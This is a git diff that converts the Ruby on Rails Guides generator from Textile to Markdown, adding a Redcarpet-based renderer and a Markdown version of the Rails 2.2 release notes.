diff --git a/guides/rails_guides/generator.rb b/guides/rails_guides/generator.rb
index 230bebf3bb..3b124ef236 100644
--- a/guides/rails_guides/generator.rb
+++ b/guides/rails_guides/generator.rb
@@ -15,7 +15,7 @@
#
# Internal links (anchors) are checked. If a reference is broken levenshtein
# distance is used to suggest an existing one. This is useful since IDs are
-# generated by Textile from headers and thus edits alter them.
+# generated by Markdown from headers and thus edits alter them.
#
# Also detects duplicated IDs. They happen if there are headers with the same
# text. Please do resolve them, if any, so guides are valid XHTML.
@@ -65,7 +65,7 @@ module RailsGuides
class Generator
attr_reader :guides_dir, :source_dir, :output_dir, :edge, :warnings, :all
- GUIDES_RE = /\.(?:textile|erb)$/
+ GUIDES_RE = /\.(?:erb|md)\z/
def initialize(output=nil)
set_flags_from_environment
@@ -152,6 +152,7 @@ module RailsGuides
if kindle?
Dir.entries("#{source_dir}/kindle").grep(GUIDES_RE).map do |entry|
+ next if entry == 'KINDLE.md'
guides << "kindle/#{entry}"
end
end
@@ -171,10 +172,10 @@ module RailsGuides
end
def output_file_for(guide)
- if guide =~/\.textile$/
- guide.sub(/\.textile$/, '.html')
+ if guide.end_with?('.md')
+ guide.sub(/md\z/, 'html')
else
- guide.sub(/\.erb$/, '')
+ guide.sub(/\.erb\z/, '')
end
end
@@ -203,10 +204,7 @@ module RailsGuides
result = view.render(:layout => layout, :formats => [$1], :file => $`)
else
body = File.read(File.join(source_dir, guide))
- body = set_header_section(body, view)
- body = set_index(body, view)
-
- result = view.render(:layout => layout, :text => textile(body))
+ result = RailsGuides::Markdown.new(view, layout).render(body)
warn_about_broken_links(result) if @warnings
end
@@ -215,70 +213,17 @@ module RailsGuides
end
end
- def set_header_section(body, view)
- new_body = body.gsub(/(.*?)endprologue\./m, '').strip
- header = $1
-
- header =~ /h2\.(.*)/
- page_title = "Ruby on Rails Guides: #{$1.strip}"
-
- header = textile(header)
-
- view.content_for(:page_title) { page_title.html_safe }
- view.content_for(:header_section) { header.html_safe }
- new_body
- end
-
- def set_index(body, view)
- index = <<-INDEX
- <div id="subCol">
- <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
- <ol class="chapters">
- INDEX
-
- i = Indexer.new(body, warnings)
- i.index
-
- # Set index for 2 levels
- i.level_hash.each do |key, value|
- link = view.content_tag(:a, :href => key[:id]) { textile(key[:title], true).html_safe }
-
- children = value.keys.map do |k|
- view.content_tag(:li,
- view.content_tag(:a, :href => k[:id]) { textile(k[:title], true).html_safe })
- end
-
- children_ul = children.empty? ? "" : view.content_tag(:ul, children.join(" ").html_safe)
-
- index << view.content_tag(:li, link.html_safe + children_ul.html_safe)
- end
-
- index << '</ol>'
- index << '</div>'
-
- view.content_for(:index_section) { index.html_safe }
-
- i.result
- end
-
- def textile(body, lite_mode=false)
- t = RedCloth.new(body)
- t.hard_breaks = false
- t.lite_mode = lite_mode
- t.to_html(:notestuff, :plusplus, :code)
- end
-
def warn_about_broken_links(html)
anchors = extract_anchors(html)
check_fragment_identifiers(html, anchors)
end
def extract_anchors(html)
- # Textile generates headers with IDs computed from titles.
+ # Markdown generates headers with IDs computed from titles.
anchors = Set.new
html.scan(/<h\d\s+id="([^"]+)/).flatten.each do |anchor|
if anchors.member?(anchor)
- puts "*** DUPLICATE ID: #{anchor}, please use an explicit ID, e.g. h4(#explicit-id), or consider rewording"
+ puts "*** DUPLICATE ID: #{anchor}, please make sure that there're no headings with the same name at the same level."
else
anchors << anchor
end
diff --git a/guides/rails_guides/markdown.rb b/guides/rails_guides/markdown.rb
new file mode 100644
index 0000000000..650489e6cb
--- /dev/null
+++ b/guides/rails_guides/markdown.rb
@@ -0,0 +1,161 @@
+require 'redcarpet'
+require 'nokogiri'
+require 'rails_guides/markdown/renderer'
+
+module RailsGuides
+ class Markdown
+ def initialize(view, layout)
+ @view = view
+ @layout = layout
+ @index_counter = Hash.new(0)
+ @raw_header = ''
+ @node_ids = {}
+ end
+
+ def render(body)
+ @raw_body = body
+ extract_raw_header_and_body
+ generate_header
+ generate_title
+ generate_body
+ generate_structure
+ generate_index
+ render_page
+ end
+
+ private
+
+ def dom_id(nodes)
+ dom_id = dom_id_text(nodes.last.text)
+
+ # Fix duplicate node by prefix with its parent node
+ if @node_ids[dom_id]
+ if @node_ids[dom_id].size > 1
+ duplicate_nodes = @node_ids.delete(dom_id)
+ new_node_id = "#{duplicate_nodes[-2][:id]}-#{duplicate_nodes.last[:id]}"
+ duplicate_nodes.last[:id] = new_node_id
+ @node_ids[new_node_id] = duplicate_nodes
+ end
+
+ dom_id = "#{nodes[-2][:id]}-#{dom_id}"
+ end
+
+ @node_ids[dom_id] = nodes
+ dom_id
+ end
+
+ def dom_id_text(text)
+ text.downcase.gsub(/\?/, '-questionmark').gsub(/!/, '-bang').gsub(/[^a-z0-9]+/, ' ')
+ .strip.gsub(/\s+/, '-')
+ end
+
+ def engine
+ @engine ||= Redcarpet::Markdown.new(Renderer, {
+ no_intra_emphasis: true,
+ fenced_code_blocks: true,
+ autolink: true,
+ strikethrough: true,
+ superscript: true,
+ tables: true
+ })
+ end
+
+ def extract_raw_header_and_body
+ if @raw_body =~ /^\-{40,}$/
+ @raw_header, _, @raw_body = @raw_body.partition(/^\-{40,}$/).map(&:strip)
+ end
+ end
+
+ def generate_body
+ @body = engine.render(@raw_body)
+ end
+
+ def generate_header
+ @header = engine.render(@raw_header).html_safe
+ end
+
+ def generate_structure
+ @headings_for_index = []
+ if @body.present?
+ @body = Nokogiri::HTML(@body).tap do |doc|
+ hierarchy = []
+
+ doc.at('body').children.each do |node|
+ if node.name =~ /^h[3-6]$/
+ case node.name
+ when 'h3'
+ hierarchy = [node]
+ @headings_for_index << [1, node, node.inner_html]
+ when 'h4'
+ hierarchy = hierarchy[0, 1] + [node]
+ @headings_for_index << [2, node, node.inner_html]
+ when 'h5'
+ hierarchy = hierarchy[0, 2] + [node]
+ when 'h6'
+ hierarchy = hierarchy[0, 3] + [node]
+ end
+
+ node[:id] = dom_id(hierarchy)
+ node.inner_html = "#{node_index(hierarchy)} #{node.inner_html}"
+ end
+ end
+ end.to_html
+ end
+ end
+
+ def generate_index
+ if @headings_for_index.present?
+ raw_index = ''
+ @headings_for_index.each do |level, node, label|
+ if level == 1
+ raw_index += "1. [#{label}](##{node[:id]})\n"
+ elsif level == 2
+ raw_index += " * [#{label}](##{node[:id]})\n"
+ end
+ end
+
+ @index = Nokogiri::HTML(engine.render(raw_index)).tap do |doc|
+ doc.at('ol')[:class] = 'chapters'
+ end.to_html
+
+ @index = <<-INDEX.html_safe
+ <div id="subCol">
+ <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+ #{@index}
+ </div>
+ INDEX
+ end
+ end
+
+ def generate_title
+ if heading = Nokogiri::HTML(@header).at(:h2)
+ @title = "Ruby on Rails Guides: #{heading.text}".html_safe
+ else
+ @title = "Ruby on Rails Guides"
+ end
+ end
+
+ def node_index(hierarchy)
+ case hierarchy.size
+ when 1
+ @index_counter[2] = @index_counter[3] = @index_counter[4] = 0
+ "#{@index_counter[1] += 1}"
+ when 2
+ @index_counter[3] = @index_counter[4] = 0
+ "#{@index_counter[1]}.#{@index_counter[2] += 1}"
+ when 3
+ @index_counter[4] = 0
+ "#{@index_counter[1]}.#{@index_counter[2]}.#{@index_counter[3] += 1}"
+ when 4
+ "#{@index_counter[1]}.#{@index_counter[2]}.#{@index_counter[3]}.#{@index_counter[4] += 1}"
+ end
+ end
+
+ def render_page
+ @view.content_for(:header_section) { @header }
+ @view.content_for(:page_title) { @title }
+ @view.content_for(:index_section) { @index }
+ @view.render(:layout => @layout, :text => @body)
+ end
+ end
+end
diff --git a/guides/rails_guides/markdown/renderer.rb b/guides/rails_guides/markdown/renderer.rb
new file mode 100644
index 0000000000..2f36af1fb3
--- /dev/null
+++ b/guides/rails_guides/markdown/renderer.rb
@@ -0,0 +1,82 @@
+module RailsGuides
+ class Markdown
+ class Renderer < Redcarpet::Render::HTML
+ def initialize(options={})
+ super
+ end
+
+ def block_code(code, language)
+ <<-HTML
+<div class="code_container">
+<pre class="brush: #{brush_for(language)}; gutter: false; toolbar: false">
+#{ERB::Util.h(code).strip}
+</pre>
+</div>
+HTML
+ end
+
+ def header(text, header_level)
+ # Always increase the heading level by, so we can use h1, h2 heading in the document
+ header_level += 1
+
+ %(<h#{header_level}>#{text}</h#{header_level}>)
+ end
+
+ def paragraph(text)
+ if text =~ /^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:](.*?)/
+ convert_notes(text)
+ elsif text =~ /^\[<sup>(\d+)\]:<\/sup> (.+)$/
+ linkback = %(<a href="#footnote-#{$1}-ref"><sup>#{$1}</sup></a>)
+ %(<p class="footnote" id="footnote-#{$1}">#{linkback} #{$2}</p>)
+ else
+ text = convert_footnotes(text)
+ "<p>#{text}</p>"
+ end
+ end
+
+ private
+
+ def convert_footnotes(text)
+ text.gsub(/\[<sup>(\d+)\]<\/sup>/i) do
+ %(<sup class="footnote" id="footnote-#{$1}-ref">) +
+ %(<a href="#footnote-#{$1}">#{$1}</a></sup>)
+ end
+ end
+
+ def brush_for(code_type)
+ case code_type
+ when 'ruby', 'sql', 'plain'
+ code_type
+ when 'erb'
+ 'ruby; html-script: true'
+ when 'html'
+ 'xml' # html is understood, but there are .xml rules in the CSS
+ else
+ 'plain'
+ end
+ end
+
+ def convert_notes(body)
+ # The following regexp detects special labels followed by a
+ # paragraph, perhaps at the end of the document.
+ #
+ # It is important that we do not eat more than one newline
+ # because formatting may be wrong otherwise. For example,
+ # if a bulleted list follows the first item is not rendered
+ # as a list item, but as a paragraph starting with a plain
+ # asterisk.
+ body.gsub(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:](.*?)(\n(?=\n)|\Z)/m) do |m|
+ css_class = case $1
+ when 'CAUTION', 'IMPORTANT'
+ 'warning'
+ when 'TIP'
+ 'info'
+ else
+ $1.downcase
+ end
+ %(<div class="#{css_class}"><p>#{$2.strip}</p></div>)
+ end
+ end
+ end
+ end
+end
diff --git a/guides/rails_guides/textile_extensions.rb b/guides/rails_guides/textile_extensions.rb
deleted file mode 100644
index 1faddd4ca0..0000000000
--- a/guides/rails_guides/textile_extensions.rb
+++ /dev/null
@@ -1,67 +0,0 @@
-module RedCloth::Formatters::HTML
- def emdash(opts)
- "--"
- end
-end
-
-module RailsGuides
- module TextileExtensions
- def notestuff(body)
- # The following regexp detects special labels followed by a
- # paragraph, perhaps at the end of the document.
- #
- # It is important that we do not eat more than one newline
- # because formatting may be wrong otherwise. For example,
- # if a bulleted list follows the first item is not rendered
- # as a list item, but as a paragraph starting with a plain
- # asterisk.
- body.gsub!(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO)[.:](.*?)(\n(?=\n)|\Z)/m) do |m|
- css_class = case $1
- when 'CAUTION', 'IMPORTANT'
- 'warning'
- when 'TIP'
- 'info'
- else
- $1.downcase
- end
- %Q(<div class="#{css_class}"><p>#{$2.strip}</p></div>)
- end
- end
-
- def plusplus(body)
- body.gsub!(/\+(.*?)\+/) do |m|
- "<notextile><tt>#{$1}</tt></notextile>"
- end
-
- # The real plus sign
- body.gsub!('<plus>', '+')
- end
-
- def brush_for(code_type)
- case code_type
- when 'ruby', 'sql', 'plain'
- code_type
- when 'erb'
- 'ruby; html-script: true'
- when 'html'
- 'xml' # html is understood, but there are .xml rules in the CSS
- else
- 'plain'
- end
- end
-
- def code(body)
- body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m|
- <<HTML
-<notextile>
-<div class="code_container">
-<pre class="brush: #{brush_for($1)}; gutter: false; toolbar: false">
-#{ERB::Util.h($2).strip}
-</pre>
-</div>
-</notextile>
-HTML
- end
- end
- end
-end
diff --git a/guides/source/2_2_release_notes.md b/guides/source/2_2_release_notes.md
new file mode 100644
index 0000000000..cef82f3784
--- /dev/null
+++ b/guides/source/2_2_release_notes.md
@@ -0,0 +1,435 @@
+Ruby on Rails 2.2 Release Notes
+===============================
+
+Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+
+Along with Rails, 2.2 marks the launch of the [Ruby on Rails Guides](http://guides.rubyonrails.org/), the first results of the ongoing [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide). This site will deliver high-quality documentation of the major features of Rails.
+
+--------------------------------------------------------------------------------
+
+Infrastructure
+--------------
+
+Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.
+
+### Internationalization
+
+Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).
+
+* Lead Contributors: Rails i18 Team
+* More information :
+ * [Official Rails i18 website](http://rails-i18n.org)
+ * [Finally. Ruby on Rails gets internationalized](http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized)
+ * [Localizing Rails : Demo application](http://github.com/clemens/i18n_demo_app)
+
+### Compatibility with Ruby 1.9 and JRuby
+
+Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.
+
+Documentation
+-------------
+
+The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the [Ruby on Rails Guides](http://guides.rubyonrails.org/) project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
+
+* [Getting Started with Rails](http://guides.rubyonrails.org/getting_started.html)
+* [Rails Database Migrations](http://guides.rubyonrails.org/migrations.html)
+* [Active Record Associations](http://guides.rubyonrails.org/association_basics.html)
+* [Active Record Query Interface](http://guides.rubyonrails.org/active_record_querying.html)
+* [Layouts and Rendering in Rails](http://guides.rubyonrails.org/layouts_and_rendering.html)
+* [Action View Form Helpers](http://guides.rubyonrails.org/form_helpers.html)
+* [Rails Routing from the Outside In](http://guides.rubyonrails.org/routing.html)
+* [Action Controller Overview](http://guides.rubyonrails.org/action_controller_overview.html)
+* [Rails Caching](http://guides.rubyonrails.org/caching_with_rails.html)
+* [A Guide to Testing Rails Applications](http://guides.rubyonrails.org/testing.html)
+* [Securing Rails Applications](http://guides.rubyonrails.org/security.html)
+* [Debugging Rails Applications](http://guides.rubyonrails.org/debugging_rails_applications.html)
+* [Performance Testing Rails Applications](http://guides.rubyonrails.org/performance_testing.html)
+* [The Basics of Creating Rails Plugins](http://guides.rubyonrails.org/plugins.html)
+
+All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.
+
+If you want to generate these guides locally, inside your application:
+
+```
+rake doc:guides
+```
+
+This will put the guides inside `Rails.root/doc/guides` and you may start surfing straight away by opening `Rails.root/doc/guides/index.html` in your favourite browser.
+
+* Lead Contributors: [Rails Documentation Team](credits.html)
+* Major contributions from [Xavier Noria":http://advogato.org/person/fxn/diary.html and "Hongli Lai](http://izumi.plan99.net/blog/.)
+* More information:
+ * [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide)
+ * [Help improve Rails documentation on Git branch](http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch)
+
+Better integration with HTTP : Out of the box ETag support
+----------------------------------------------------------
+
+Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.
+
+```ruby
+class ArticlesController < ApplicationController
+ def show_with_respond_to_block
+ @article = Article.find(params[:id])
+
+ # If the request sends headers that differs from the options provided to stale?, then
+ # the request is indeed stale and the respond_to block is triggered (and the options
+ # to the stale? call is set on the response).
+ #
+ # If the request headers match, then the request is fresh and the respond_to block is
+ # not triggered. Instead the default render will occur, which will check the last-modified
+ # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
+ # of rendering the template.
+ if stale?(:last_modified => @article.published_at.utc, :etag => @article)
+ respond_to do |wants|
+ # normal response processing
+ end
+ end
+ end
+
+ def show_with_implied_render
+ @article = Article.find(params[:id])
+
+ # Sets the response headers and checks them against the request, if the request is stale
+ # (i.e. no match of either etag or last-modified), then the default render of the template happens.
+ # If the request is fresh, then the default render will return a "304 Not Modified"
+ # instead of rendering the template.
+ fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
+ end
+end
+```
+
+Thread Safety
+-------------
+
+The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.
+
+To enable multithreaded dispatching in production mode of your application, add the following line in your `config/environments/production.rb`:
+
+```ruby
+config.threadsafe!
+```
+
+* More information :
+ * [Thread safety for your Rails](http://m.onkey.org/2008/10/23/thread-safety-for-your-rails)
+ * [Thread safety project announcement](http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core)
+ * [Q/A: What Thread-safe Rails Means](http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html)
+
+Active Record
+-------------
+
+There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.
+
+### Transactional Migrations
+
+Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by `rake db:migrate:redo` after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.
+
+* Lead Contributor: [Adam Wiggins](http://adam.heroku.com/)
+* More information:
+ * [DDL Transactions](http://adam.heroku.com/past/2008/9/3/ddl_transactions/)
+ * [A major milestone for DB2 on Rails](http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/)
+
+### Connection Pooling
+
+Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a `pool` key to your `database.yml` to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a `wait_timeout` that defaults to 5 seconds before giving up. `ActiveRecord::Base.connection_pool` gives you direct access to the pool if you need it.
+
+```yaml
+development:
+ adapter: mysql
+ username: root
+ database: sample_development
+ pool: 10
+ wait_timeout: 10
+```
+
+* Lead Contributor: [Nick Sieger](http://blog.nicksieger.com/)
+* More information:
+ * [What's New in Edge Rails: Connection Pools](http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools)
+
+### Hashes for Join Table Conditions
+
+You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.
+
+```ruby
+class Photo < ActiveRecord::Base
+ belongs_to :product
+end
+
+class Product < ActiveRecord::Base
+ has_many :photos
+end
+
+# Get all products with copyright-free photos:
+Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
+```
+
+* More information:
+ * [What's New in Edge Rails: Easy Join Table Conditions](http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions)
+
+### New Dynamic Finders
+
+Two new sets of methods have been added to Active Record's dynamic finders family.
+
+#### `find_last_by_attribute`
+
+The `find_last_by_attribute` method is equivalent to `Model.last(:conditions => {:attribute => value})`
+
+```ruby
+# Get the last user who signed up from London
+User.find_last_by_city('London')
+```
+
+* Lead Contributor: [Emilio Tagua](http://www.workingwithrails.com/person/9147-emilio-tagua)
+
+#### `find_by_attribute!`
+
+The new bang! version of `find_by_attribute!` is equivalent to `Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound` Instead of returning `nil` if it can't find a matching record, this method will raise an exception if it cannot find a match.
+
+```ruby
+# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
+User.find_by_name!('Moby')
+```
+
+* Lead Contributor: [Josh Susser](http://blog.hasmanythrough.com)
+
+### Associations Respect Private/Protected Scope
+
+Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) `@user.account.private_method` would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use `@user.account.send(:private_method)` (or make the method public instead of private or protected). Please note that if you're overriding `method_missing`, you should also override `respond_to` to match the behavior in order for associations to function normally.
+
+* Lead Contributor: Adam Milligan
+* More information:
+ * [Rails 2.2 Change: Private Methods on Association Proxies are Private](http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/)
+
+### Other ActiveRecord Changes
+
+* `rake db:migrate:redo` now accepts an optional VERSION to target that specific migration to redo
+* Set `config.active_record.timestamped_migrations = false` to have migrations with numeric prefix instead of UTC timestamp.
+* Counter cache columns (for associations declared with `:counter_cache => true`) do not need to be initialized to zero any longer.
+* `ActiveRecord::Base.human_name` for an internationalization-aware humane translation of model names
+
+Action Controller
+-----------------
+
+On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.
+
+### Shallow Route Nesting
+
+Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.
+
+```ruby
+map.resources :publishers, :shallow => true do |publisher|
+ publisher.resources :magazines do |magazine|
+ magazine.resources :photos
+ end
+end
+```
+
+This will enable recognition of (among others) these routes:
+
+```
+/publishers/1 ==> publisher_path(1)
+/publishers/1/magazines ==> publisher_magazines_path(1)
+/magazines/2 ==> magazine_path(2)
+/magazines/2/photos ==> magazines_photos_path(2)
+/photos/3 ==> photo_path(3)
+```
+
+* Lead Contributor: [S. Brent Faulkner](http://www.unwwwired.net/)
+* More information:
+ * [Rails Routing from the Outside In](http://guides.rubyonrails.org/routing.html#nested-resources)
+ * [What's New in Edge Rails: Shallow Routes](http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes)
+
+### Method Arrays for Member or Collection Routes
+
+You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:
+
+```ruby
+map.resources :photos, :collection => { :search => [:get, :post] }
+```
+
+* Lead Contributor: [Brennan Dunn](http://brennandunn.com/)
+
+### Resources With Specific Actions
+
+By default, when you use `map.resources` to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the `:only` and `:except` options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special `:all` or `:none` options. These options are inherited by nested resources.
+
+```ruby
+map.resources :photos, :only => [:index, :show]
+map.resources :products, :except => :destroy
+```
+
+* Lead Contributor: [Tom Stuart](http://experthuman.com/)
+
+### Other Action Controller Changes
+
+* You can now easily [show a custom error page](http://m.onkey.org/2008/7/20/rescue-from-dispatching) for exceptions raised while routing a request.
+* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as `/customers/1.xml`) to indicate the format that you want. If you need the Accept headers, you can turn them back on with `config.action_controller.use_accept_header = true`.
+* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
+* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
+* `redirect_to` now fully supports URI schemes (so, for example, you can redirect to a svn`ssh: URI).
+* `render` now supports a `:js` option to render plain vanilla JavaScript with the right mime type.
+* Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
+* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling `polymorphic_path([@project, @date, @area])` with a nil date will give you `project_area_path`.
+
+Action View
+-----------
+
+* `javascript_include_tag` and `stylesheet_link_tag` support a new `:recursive` option to be used along with `:all`, so that you can load an entire tree of files with a single line of code.
+* The included Prototype JavaScript library has been upgraded to version 1.6.0.3.
+* `RJS#page.reload` to reload the browser's current location via JavaScript
+* The `atom_feed` helper now takes an `:instruct` option to let you insert XML processing instructions.
+
+Action Mailer
+-------------
+
+Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the `CustomerMailer` class expects to use `layouts/customer_mailer.html.erb`.
+
+* More information:
+ * [What's New in Edge Rails: Mailer Layouts](http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts)
+
+Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.
+
+Active Support
+--------------
+
+Active Support now offers built-in memoization for Rails applications, the `each_with_object` method, prefix support on delegates, and various other new utility methods.
+
+### Memoization
+
+Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:
+
+```ruby
+def full_name
+ @full_name ||= "#{first_name} #{last_name}"
+end
+```
+
+Memoization lets you handle this task in a declarative fashion:
+
+```ruby
+extend ActiveSupport::Memoizable
+
+def full_name
+ "#{first_name} #{last_name}"
+end
+memoize :full_name
+```
+
+Other features of memoization include `unmemoize`, `unmemoize_all`, and `memoize_all` to turn memoization on or off.
+
+* Lead Contributor: [Josh Peek](http://joshpeek.com/)
+* More information:
+ * [What's New in Edge Rails: Easy Memoization](http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization)
+ * [Memo-what? A Guide to Memoization](http://www.railway.at/articles/2008/09/20/a-guide-to-memoization)
+
+### each_with_object
+
+The `each_with_object` method provides an alternative to `inject`, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.
+
+```ruby
+%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
+```
+
+Lead Contributor: [Adam Keys](http://therealadam.com/)
+
+### Delegates With Prefixes
+
+If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:
+
+```ruby
+class Vendor < ActiveRecord::Base
+ has_one :account
+ delegate :email, :password, :to => :account, :prefix => true
+end
+```
+
+This will produce delegated methods `vendor#account_email` and `vendor#account_password`. You can also specify a custom prefix:
+
+```ruby
+class Vendor < ActiveRecord::Base
+ has_one :account
+ delegate :email, :password, :to => :account, :prefix => :owner
+end
+```
+
+This will produce delegated methods `vendor#owner_email` and `vendor#owner_password`.
+
+Lead Contributor: [Daniel Schierbeck](http://workingwithrails.com/person/5830-daniel-schierbeck)
+
+### Other Active Support Changes
+
+* Extensive updates to `ActiveSupport::Multibyte`, including Ruby 1.9 compatibility fixes.
+* The addition of `ActiveSupport::Rescuable` allows any class to mix in the `rescue_from` syntax.
+* `past?`, `today?` and `future?` for `Date` and `Time` classes to facilitate date/time comparisons.
+* `Array#second` through `Array#fifth` as aliases for `Array#[1]` through `Array#[4]`
+* `Enumerable#many?` to encapsulate `collection.size > 1`
+* `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`.
+* `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on.
+* The included TzInfo library has been upgraded to version 0.3.12.
+* `ActiveSuport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true`
+
+Railties
+--------
+
+In Railties (the core code of Rails itself) the biggest changes are in the `config.gems` mechanism.
+
+### config.gems
+
+To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in `/vendor/gems`. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:
+
+* `config.gem _gem_name_` in your `config/environment.rb` file
+* `rake gems` to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)
+* `rake gems:install` to install missing gems to the computer
+* `rake gems:unpack` to place a copy of the required gems into `/vendor/gems`
+* `rake gems:unpack:dependencies` to get copies of the required gems and their dependencies into `/vendor/gems`
+* `rake gems:build` to build any missing native extensions
+* `rake gems:refresh_specs` to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them
+
+You can unpack or install a single gem by specifying `GEM=_gem_name_` on the command line.
+
+* Lead Contributor: [Matt Jones](http://github.com/al2o3cr)
+* More information:
+ * [What's New in Edge Rails: Gem Dependencies](http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies)
+ * [Rails 2.1.2 and 2.2RC1: Update Your RubyGems](http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/)
+ * [Detailed discussion on Lighthouse](http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128)
+
+### Other Railties Changes
+
+* If you're a fan of the [Thin](http://code.macournoyer.com/thin/) web server, you'll be happy to know that `script/server` now supports Thin directly.
+* `script/plugin install &lt;plugin&gt; -r &lt;revision&gt;` now works with git-based as well as svn-based plugins.
+* `script/console` now supports a `--debugger` option
+* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
+* `rake notes:custom ANNOTATION=MYFLAG` lets you list out custom annotations.
+* Wrapped `Rails.env` in `StringInquirer` so you can do `Rails.env.development?`
+* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
+
+Deprecated
+----------
+
+A few pieces of older code are deprecated in this release:
+
+* `Rails::SecretKeyGenerator` has been replaced by `ActiveSupport::SecureRandom`
+* `render_component` is deprecated. There's a [render_components plugin](http://github.com/rails/render_component/tree/master) available if you need this functionality.
+* Implicit local assignments when rendering partials has been deprecated.
+
+ ```ruby
+ def partial_with_implicit_local_assignment
+ @customer = Customer.new("Marcel")
+ render :partial => "customer"
+ end
+ ```
+
+ Previously the above code made available a local variable called `customer` inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.
+
